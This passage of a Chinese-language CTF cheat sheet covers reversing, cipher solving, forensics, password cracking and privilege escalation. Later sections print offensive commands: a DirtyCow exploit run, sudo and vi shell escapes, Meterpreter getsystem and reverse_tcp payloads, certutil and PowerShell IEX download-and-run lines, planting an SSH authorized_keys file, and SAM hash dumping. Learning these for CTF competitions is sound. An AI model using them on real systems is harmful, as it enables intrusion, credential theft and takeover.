strace -s 9999 -f -e trace=recv,read ./
```
- `-f`:跟踪子进程。
- `-s`:增加字符串捕获大小(默认为 32)。
- 观察运行时的 Flag 输出或隐藏的读取事件。
#### 🧬 使用 `ltrace` 跟踪函数调用:
```
ltrace ./
```
- 显示**动态库调用**,可用于发现:
- 密码检查
- 字符串比较
- 文件读取
### 🎯 CTF 专家提示:
- **如果文本看起来是二进制但一致的,请尝试 XOR 解码**:
```
xxd -p file | tr -d '\n' | xxd -r -p | xor_tool
```
- **如果字符串在内存中被加密或操纵,请使用 Ghidra 或 GDB** 跟踪逻辑。
- **将 `strace` 与 `tee` 或 `grep` 结合使用**,实时查看提取的数据。
- **如果 base64 没有产生有用的输出,请检查 Unicode、ROT13 或十六进制编码的 Flag。**
## 密码学
### 🔐 凯撒密码
**凯撒密码**是一种简单的替换密码,其中每个字母在字母表中移动固定数量的位置。
#### 🧭 经典凯撒解密
如果挑战提到了 **"caesar"**,它很可能使用了基本的移位密码。
- 手动尝试所有 25 种移位:
```
for i in {1..25}; do echo "ciphertext" | tr 'A-Za-z' "$(echo {A..Z} | sed -E "s/(.{$i})(.*)/\2\1/")$(echo {a..z} | sed -E "s/(.{$i})(.*)/\2\1/")"; done
```
或使用 [**dCode 凯撒求解器**](https://www.dcode.fr/caesar-cipher)。
#### 🧱 凯撒方阵密码
如果密文包含 `!` 等字符或呈现出块状外观:
- 很可能是 **凯撒方阵 (列置换)** 密码。
使用:
👉 [**凯撒方阵求解器**](https://www.dcode.fr/caesar-box-cipher)
粘贴文本并暴力破解尺寸或平方大小。
### 🎯 CTF 专家提示:
- **寻找线索词**:"shift"、"rotate"、"move"、"Julius" 或 "Rome"。
- **如果给出了数字提示(如 3 或 13)**,请将它们用作移位值。
- **使用以下命令尝试反向移位 (ROT13 或 ROT-N)**:
```
echo "ciphertext" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```
- 如果使用了多层编码,请将凯撒解码与 base64 或十六进制结合使用。
### 🧩 维吉尼亚密码
**维吉尼亚密码**是一种多表替换密码,它使用重复的密钥来移动字母。
#### 🔓 在不知道密钥的情况下破解
使用这个在线暴力破解求解器:
👉 [**Guballa 维吉尼亚求解器**](https://www.guballa.de/vigenere-solver)
- 粘贴密文,让它自动检测密钥长度和内容。
- 它在幕后使用了频率分析和 Kasiski 测试。
### 🎯 CTF 专家提示:
- **诸如 "key"、"password"、"repeating" 或 "polyalphabetic" 之类的线索**通常表示是维吉尼亚密码。
- 尝试**常见密钥**,例如:
- `flag`、`ctf`、`security`、`secret`、`pass`
- 如果**部分明文或已知单词可见**,请使用**已知明文攻击**。
- 如果密文**全部大写且没有空格**,则怀疑是维吉尼亚密码或 Playfair 密码。
- **分层编码**(例如 base64 → 维吉尼亚 → 凯撒)很常见——请按相反顺序解码。
### 🗝️ 一次性密码本 (OTP) 密码
如果使用得当(随机密钥、只用一次、与明文长度相同),**一次性密码本**是不可破解的密码。在 CTF 中,它的实现通常是不正确的——这使得它是可破解的。
#### 🔓 轻松解决 OTP
使用此在线工具:
👉 [**OTP 解密工具**](http://rumkin.com/tools/cipher/otp.php)
- 输入**密文**和**密钥**(如果密钥被重复使用或可预测,则进行猜测/暴力破解)。
- 通过密文和密钥的 XOR 完成解密。
### 🧠 CTF 用例:破解 SSH 私钥
如果 OTP 是一个障眼法,而您找到了一个 `id_rsa` 文件,请使用 `john` 破解它:
```
/usr/share/john/ssh2john.py id_rsa > output.hash
john output.hash --wordlist=/usr/share/wordlists/rockyou.txt
```
### 🎯 CTF 专家提示:
- **OTP 密文和密钥的长度必须相同** —— 在解码前进行验证。
- 如果怀疑密钥被重复使用,请将其视为**带 XOR 的维吉尼亚密码**。
- **使用十六进制编辑器或 `xxd`** 识别二进制 OTP 文件中的 XOR 模式。
- 检查密钥是否:
- 硬编码在源代码中
- 在另一个文件中找到
- 与 Flag 的一部分相同
## 数字取证
### 🖼️ 图像文件分析
图像通常使用隐写术、元数据或嵌入的文件结构来隐藏 Flag。
#### 📄 识别图像文件类型
```
file
```
- 无论扩展名如何(例如 PNG 被重命名为 JPG),都能确认真实的文件类型。
#### 🧬 元数据分析
```
exiftool
```
- 显示隐藏字段,如 `Author`、`Comment` 或 GPS 坐标。
- 寻找不同寻常的标签,如 `Software`、`UserComment` 或 `DocumentName`。
#### 🔍 隐写术 – 提取隐藏数据
**使用 `zsteg` 获取 LSB 和颜色通道 Payload(仅限 PNG)**:
```
zsteg
```
**使用 `steghide` 处理受密码保护的嵌入内容**:
```
steghide extract -sf
```
- 提示输入密码——使用 `rockyou.txt` 进行暴力破解尝试。
**使用 `steghide_brute` 暴力破解 `steghide`**(可选工具):
```
python steghide_brute.py -f -w rockyou.txt
```
#### 🔡 提取嵌入的文本
```
strings | grep -i flag
```
- CTF 中 Flag 通常作为明文或 ASCII 嵌入。
### 🎯 CTF 专家提示:
- **检查 Alpha/透明通道**是否有隐藏的覆盖层。
- **使用 `binwalk`** 检测嵌入的 ZIP、图像或文件:
```
binwalk -e
```
- **在十六进制编辑器(例如 `hexeditor`)中打开图像**以检查尾部的异常。
- **尝试 OCR**(用于类似验证码的 Flag 或图形编码):
```
tesseract stdout
```
- **使用 `stegsolve.jar` 或 `StegSpy` 检查像素数据操作**以进行更深入的分析。
### 🧪 Binwalk – 嵌入数据提取
`binwalk` 用于分析二进制文件(如图像或固件)以查找**嵌入的文件**、**压缩存档**或**隐藏内容**。
#### 🔍 基本扫描
```
binwalk
```
- 扫描指示 ZIP、PNG、PDF、压缩数据等的 Magic Bytes。
#### 🧠 如果检测到 ZIP/存档
您可以手动提取它:
```
mv .zip
unzip .zip
```
#### 🔓 自动提取所有嵌入文件
```
binwalk -e
```
- 将所有识别出的文件提取到 `_.extracted/` 中
#### 🔁 递归提取(处理嵌套存档)
```
binwalk -Me
```
- 非常适合多层的 CTF 隐写挑战。
### 🎯 CTF 专家提示:
- **使用 `--dd` 手动提取特定类型**:
```
binwalk --dd='.*'
```
- **提取后结合 `steghide`、`exiftool` 和 `zsteg`。**
- **检查嵌入文件的 `footer`** —— Flag 可能被追加到合法内容之后。
- **适用于涉及固件、DOCX/XLSX 或伪装文件格式的挑战。**
### 💽 提取 NTFS 文件系统
NTFS 文件可能包含**隐藏数据**、**备用数据流**或**分区内容**——这在 CTF 中经常被利用。
#### 🪟 在 Windows 上(备用数据流)
1️⃣ **列出隐藏流:**
```
dir /R
```
2️⃣ **提取隐藏流内容:**
```
more :
```
或
3️⃣ 使用 **7-Zip** 直接提取 `.ntfs` 容器:
- 右键单击 → “解压到当前文件夹”
#### 🐧 在 Linux 上
挂载 NTFS 镜像:
```
sudo mount -o loop mnt/
```
- 探索 `mnt/`,在 `$MFT`、`$Recycle.Bin` 或 `System Volume Information` 中查找 Flag。
### 🎯 CTF 专家提示:
- **在 Linux 上手动搜索 ADS (备用数据流):**
```
strings | grep -i ":"
```
- **在 Linux 上使用 `ntfs-3g` 获得完整的 NTFS 读/写访问权限。**
- **使用 `sleuthkit` 或 `autopsy`** 进行取证级别的 NTFS 检查。
- **检查存储在 ADS 或隐藏文件夹中的 base64 或 zip 文件。**
### 🧷 从已删除的文件系统中恢复文件(远程取证)
使用此方法远程**镜像和提取已删除的文件系统**——这在取证或基于 IR 的 CTF 中通常是必需的。
#### 📡 步骤 1:远程创建磁盘镜像(通过 SSH)
```
ssh username@ "sudo dcfldd if=/dev/sdb | gzip -1 -" > extract.dd.gz
```
- `dcfldd`:对取证友好的 `dd`,带有进度和哈希功能。
- `gzip`:在传输期间压缩数据。
#### 📦 步骤 2:在本地解压镜像
```
gunzip extract.dd.gz
```
#### 🔍 步骤 3:提取和分析
```
binwalk -Me extract.dd
```
- 递归解压嵌入的文件、文件系统和归档数据。
### 🎯 CTF 专家提示:
- **如果没有 `dcfldd`**,请使用:
```
ssh user@host "sudo dd if=/dev/sdb bs=4M | gzip -" > disk.dd.gz
```
- **使用 `photorec` 或 `foremost`** 进行文件雕刻:
```
photorec /log /d output/ /cmd recover.cmd
```
- **挂载分区以进行手动检查**:
```
sudo mount -o loop,ro,offset= extract.dd mnt/
```
- 使用 `fdisk -l extract.dd` 查找偏移量
- **使用 SleuthKit 中的 `fls` 和 `icat`** 进行目标恢复:
```
fls -r extract.dd
icat extract.dd
```
### 📡 数据包捕获 – USB 按键恢复
在 CTF 中,`.pcap` 或 `.pcapng` 文件可能包含 **USB 键盘流量**,尤其是在分析硬件级别的挑战时。
#### 🔍 从 PCAP 中提取 USB 按键记录
使用 **tshark** 提取 USB 数据:
```
tshark -r -Y "usb.transfer_type == 1" \
-e frame.time_epoch -e usb.capdata -T fields
```
- `usb.transfer_type == 1`:捕获**中断传输**(用于键盘)。
- `usb.capdata`:提取原始按键记录数据。
- 将此输出通过管道传递给脚本,以将按键记录解码为可读文本。
#### 🧠 解码 USB 输入的完整指南
请遵循这篇详细的文章:
👉 [从 PCAP 逆向 USB 按键记录 (Kaizen CTF)](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
### 🎯 CTF 专家提示:
- **使用 Wireshark 过滤器**进行探索:
- `usb.device_address`
- `usb.transfer_type`
- `usb.capdata`
- `frame contains flag`
- **在普通的 `.pcap` 文件中寻找 HTTP、FTP、DNS、IRC 流量**:
```
tshark -r capture.pcap -Y "http || ftp || dns" -T fields -e ip.dst -e frame.len
```
- **使用 `NetworkMiner` 或 `tcpflow`** 重建文件或提取凭据。
- **在 PCAP 上使用 `strings`** 快速获取线索:
```
strings file.pcap | grep -i flag
```
### 📜 JavaScript 反混淆器
混淆的 JavaScript 在基于 Web 的 CTF 中常用于**隐藏逻辑、Flag 或后门 Payload**。
#### 🧼 快速反混淆
使用此在线工具:
👉 [**JSNice**](http://www.jsnice.org/)
- 使用概率模型自动格式化和重命名变量。
- 有助于理解混淆脚本中的逻辑流程和变量作用。
### 🎯 CTF 专家提示:
- **寻找 base64、hex 或 `eval()` 模式**——常见的混淆技巧。
- **将 `eval()` 替换为 `console.log()`** 以检查解码后的 Payload。
- 使用浏览器开发者工具:
- 将混淆的 JS 粘贴到控制台中。
- 使用断点单步执行。
- 对于重度混淆:
- 尝试 [**Beautifier.io**](https://beautifier.io/)
- 在本地使用 `prettier` 或 `js-beautify`:
npx prettier --write script.js
## 密码破解
### 🔑 JOHN the Ripper – 密码破解
如果挑战提到了 **"JOHN"**,这很可能是在提示使用 **John the Ripper** 来破解哈希或受保护的存档。
#### 🧨 基本用法
```
john --wordlist=/usr/share/wordlists/rockyou.txt
```
- 支持 `MD5`、`SHA1`、`bcrypt`、`NTLM` 等格式。
- 在许多情况下会自动检测哈希类型。
#### 🔍 识别哈希类型(如果需要)
```
john --list=formats | grep
```
或使用 [**hash-identifier**] 或 [**NameThatHash**]。
#### 🌐 在线破解(已知哈希)
使用:
👉 [**CrackStation**](https://crackstation.net/)
- 粘贴哈希值,以对照庞大的预计算表进行检查。
### 🎯 CTF 专家提示:
- **使用工具转换格式:**
- `zip2john`、`rar2john`、`pdf2john`、`ssh2john` 等。
zip2john secret.zip > hash.txt
john hash.txt --wordlist=rockyou.txt
- **查看已破解的密码:**
```
john --show
```
- **暂停/恢复破解:**
```
john --restore
```
- **破解 SSH 私钥密码:**
```
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt
```
### 🧬 SAM 哈希 – Windows 用户密码转储
**SAM (Security Account Manager)** 存储 Windows 帐户的哈希密码。在 CTF 中,它通常从挂载的 `.vhd` 或 `.img` 磁盘文件中提取。
#### 🔓 提取和转储哈希
1️⃣ **复制 SAM 和 SYSTEM 文件:**
```
cp /mnt/vhd/Windows/System32/config/SAM .
cp /mnt/vhd/Windows/System32/config/SYSTEM .
```
2️⃣ **组织文件:**
```
mkdir Backup_dump
mv SAM SYSTEM Backup_dump/
cd Backup_dump/
```
3️⃣ **使用 `impacket-secretsdump` 转储哈希:**
```
impacket-secretsdump -sam SAM -system SYSTEM local
```
✅ 您将获得如下输出:
```
Administrator:500:LMHASH:NTHASH:::
User:1000:LMHASH:NTHASH:::
```
### 🎯 CTF 专家提示:
- **使用 `john` 破解 NT 哈希:**
```
john hashes.txt --format=NT --wordlist=rockyou.txt
```
- **如果磁盘镜像已加密(例如 BitLocker),请先使用密码短语或密钥解锁。**
- 使用 **`mmls` + `fls` + `icat` (SleuthKit)** 从原始磁盘镜像中进行取证式的 SAM/SYSTEM 提取。
- 一旦哈希被破解,请在**注册表配置单元**和**用户配置文件**中寻找线索。
### 🐧 Linux 用户哈希 – `/etc/passwd` + `/etc/shadow`
在 Linux 系统中,用户凭据存储在两个文件中:
- `/etc/passwd` – 存储用户名和 UID 信息
- `/etc/shadow` – 存储密码哈希(受限访问)
#### 🔐 使用 `unshadow` 合并
```
unshadow passwd shadow > merged_hashes.txt
```
- 将这两个文件合并为与 **John the Ripper** 兼容的格式
#### 🔓 使用 John the Ripper 破解
```
john merged_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
### 🎯 CTF 专家提示:
- **您可以从虚拟机、Docker 容器或挂载的文件系统中提取这些内容。**
- 寻找以以下内容开头的密码哈希:
- `$6$` – SHA-512
- `$1$` – MD5
- `$y$` – yescrypt(更安全)
- **使用 `john --show`** 显示破解结果:
```
john --show merged_hashes.txt
```
- 如果您只有一个哈希:
```
echo 'user:$6$hash....' > onehash.txt
john onehash.txt --wordlist=rockyou.txt
```
### 🔓 Hashcat – GPU 加速密码破解
Hashcat 是一款功能强大的工具,使用 GPU 加速来破解哈希——非常适合大型数据集或更难破解的哈希。
#### 🚀 基本语法
```
hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --force
```
- `-m 500`:哈希类型(500 = MD5 crypt,即 `$1$`)
- `-a 0`:攻击模式(0 = 字典攻击)
- `-o`:破解结果的输出文件
- `--force`:忽略警告(在虚拟机或非 GPU 系统中使用)
### 🔢 常见哈希模式(使用正确的 `-m`):
| 哈希类型 | 示例前缀 | 模式 |
|------------------|----------------|------|
| MD5 | — | 0 |
| SHA1 | — | 100 |
| SHA256 | — | 1400 |
| bcrypt | `$2y$`, `$2b$` | 3200 |
| NTLM | — | 1000 |
| SHA512-crypt | `$6$` | 1800 |
| MD5-crypt | `$1$` | 500 |
### 🎯 CTF 专家提示:
- 使用 `--show` 显示破解结果:
```
hashcat -m 500 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
```
- 通过识别格式并使用正确的模式,破解**来自 `unshadow`、`zip2john` 或 `ssh2john` 的哈希**。
- 启用优化的 GPU 使用(如果支持):
```
hashcat -O -w 3 ...
```
- 对所有算法进行基准测试:
```
hashcat -b
```
### 📦 7z 密码破解
要提取和破解**受密码保护的 `.7z` 存档**,请使用 **John the Ripper** 套件中的 `7z2john.py`。
#### 🔧 转换为哈希格式:
```
7z2john.pl protected.7z > 7z.hash
```
#### 🔓 使用 John 破解:
```
john 7z.hash --wordlist=/usr/share/wordlists/rockyou.txt
```
### 🔐 SSH 私钥破解
如果给定了一个加密的 SSH 私钥 (`id_rsa`),您可以使用 `ssh2john.py` 恢复其密码。
#### 🔧 将密钥转换为哈希格式:
```
ssh2john.py id_rsa > ssh.hash
```
#### 🔓 使用 John 破解:
```
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
```
### 🎯 CTF 专家提示:
- 如果 `john` 失败,请尝试使用正确哈希模式的 `hashcat`(例如 `-m 14600` 用于 7z)。
- SSH 私钥破解通常会导致**获取用户 Shell 或权限提升**。
- 始终检查元数据或文件名(如 `backup.7z`、`id_rsa.bak`)——它们通常包含有价值的凭据。
## 权限提升
### 🧰 标准枚举脚本(CTF 速查表)
使用这些工具自动进行**权限提升**、**系统枚举**和**数据解码**——这对于 CTF 中的后渗透至关重要。
#### 🐧 Linux 枚举
- 🔍 [**LinEnum**](https://github.com/rebootuser/LinEnum)
- 自动化完整的 Linux 系统枚举——用户、Cron 任务、SUID、内核。
- 🧠 [**LinuxPrivChecker**](https://github.com/sleventyeleven/linuxprivchecker)
- 基于脚本的权限提升检查器(非常适合本地提权至 root)。
- 🧾 [**Unix-PrivEsc-Check**](https://github.com/pentestmonkey/unix-privesc-check)
- 用于检查常见权限提升向量的 Shell 脚本。
- 📋 [**PEASS-ng (Linux)**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
- `linpeas.sh` – 最全面的本地枚举脚本。
#### 🪟 Windows 枚举
- 🔎 [**JAWS**](https://github.com/411Hall/JAWS)
- 用于扫描 Windows 提权路径的 PowerShell 脚本。
- 📋 [**PEASS-ng (Windows)**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
- `winPEAS.exe` – 深度枚举 Windows 服务、任务、错误配置。
#### 🕵️ 运行时进程/任务监控
- ⏱️ [**pspy**](https://github.com/DominicBreuker/pspy)
- 无需 root 权限即可观察 **Cron 任务**、**定时脚本**或 **root 执行的进程**。
#### ⚙️ 漏洞利用执行帮助
- 🔓 [**GTFOBins**](https://gtfobins.github.io/)
- 帮助利用 `sudo`、`setuid` 和具有相关能力的二进制文件进行权限提升。
- 📑 [**LOLBAS**](https://lolbas-project.github.io/)
- GTFOBins 的 Windows 等效工具——枚举和滥用受信任的二进制文件。
#### 🧬 数据分析与解码
- 🧪 [**CyberChef**](https://github.com/gchq/CyberChef)
- “网络瑞士军刀”,用于处理 base64、hex、XOR、编码、正则表达式等。
- Web 版本:[CyberChef 在线版](https://gchq.github.io/CyberChef/)
### 🎯 CTF 专家提示:
- 在获取初始 Shell 后,务必立即上传并运行 **LinEnum 或 linpeas**。
- 结合 **pspy + GTFOBins** 实现强大的基于 Cron 任务的权限提升。
- 使用 **CyberChef** 快速逆向混淆或解码多层字符串。
### 🐮 DirtyCow (Linux 权限提升)
利用 [DirtyCow](https://dirtycow.ninja/) 攻击旧版 Linux 内:
👉 PoC 代码:[dirty.c](https://github.com/FireFart/dirtycow/blob/master/dirty.c)
```
gcc -pthread dirty.c -o dirtycow
./dirtycow
su firefart # Password: dirtycow
```
### 🔐 Sudo 提权利用
检查 sudo 权限:
```
sudo -l
```
常见提权模式:
```
sudo -u /bin/bash
sudo cat /root/root.txt
sudo -u#-1 /bin/bash # Bypass !root restrictions
```
### 🪟 Windows 权限提升
**在 Meterpreter 中:**
```
getsystem
background
use post/multi/recon/local_exploit_suggestor
set session 1
run
```
🔍 其他工具:
- [Sherlock (权限建议器)](https://github.com/rasta-mouse/Sherlock)
- [FuzzySec 提权指南](https://www.fuzzysecurity.com/tutorials/16.html)
🧬 迁移进程:
```
migrate
```
**Shell 传递:**
```
/opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp 3333
msfconsole -r unicorn.rc
```
### 🛢️ MySQL 和 VIM 权限提升
**MySQL Shell:**
```
mysql> \! /bin/sh
```
**VIM Shell:**
```
sudo /usr/bin/vi /file/path
# 按下 ESC,然后输入:
:!/bin/bash
```
### ⏱️ Cron 任务利用
监控系统任务:
```
tail -f /var/log/syslog
```
覆盖输入:
```
echo 'url = "file:///root/root.txt"' > input
```
### 📜 利用 More / Less 或 Journalctl
如果通过特权脚本执行:
```
!/bin/bash
```
在 VIM/Journalctl 中的示例:
```
sudo /usr/bin/journalctl -n5 -unostromo.service
# 然后输入 !/bin/bash
```
### 🧬 改进反向 Shell
```
python3 -c "import pty; pty.spawn('/bin/bash')"
# 按下 CTRL+Z
stty raw -echo; fg
export TERM=xterm
```
### 📂 传输文件(主机 → 受害者)
**Linux:**
```
python3 -m http.server
wget http://:8000/file.sh
```
**Windows:**
```
certutil -urlcache -f http:///payload.exe payload.exe
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://:8000/script.ps1')"
```
### 📁 FTP 访问
如果登录成功:
```
put id_rsa.pub
rename id_rsa.pub .ssh/authorized_keys
```
### 🕵️ Reconnoitre – 枚举自动化
多线程侦察和服务枚举:
👉 [Reconnoitre 工具](https://github.com/codingo/Reconnoitre)
```
reconnoitre -t -o `pwd` --services
```
标签:AI合规, Cheatsheet, CTI, DOS头擦除, Nmap, Web安全, 云资产清单, 备忘录, 安全学习, 安全竞赛, 密码学, 密码破解, 应用安全, 手动系统调用, 技术速查表, 提权, 插件系统, 数字取证, 数据统计, 文件分析, 端口扫描, 网络安全, 自动化脚本, 蓝队分析, 虚拟驱动器, 逆向工具, 逆向工程, 隐私保护, 黑客技术